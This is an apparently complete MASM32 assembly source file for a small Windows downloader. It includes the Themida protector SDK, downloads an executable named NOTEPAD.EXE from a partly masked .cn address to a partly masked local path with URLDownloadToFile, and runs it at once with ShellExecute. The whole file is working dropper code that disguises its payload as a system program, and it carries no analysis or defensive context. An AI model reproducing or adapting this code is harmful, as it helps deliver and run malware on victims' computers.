.386p
.model flat,stdcall
option casemap:none
include ThemidaSDK.inc
include d:\masm32\include\windows.inc
include d:\masm32\include\user32.inc
include d:\masm32\include\kernel32.inc
include d:\masm32\include\shell32.inc
include d:\masm32\include\urlmon.inc
.data
UrlAddr db 'http://www.*****.cn/NOTEPAD.EXE',0
SaveFileAddr db 'C:\*****\NOTEPAD.EXE',0
.code
main:
invoke URLDownloadToFile,NULL,addr UrlAddr,addr SaveFileAddr,NULL,NULL
invoke ShellExecute,0,0,addr SaveFileAddr,0,0,SW_SHOW
invoke ExitThread,0
end main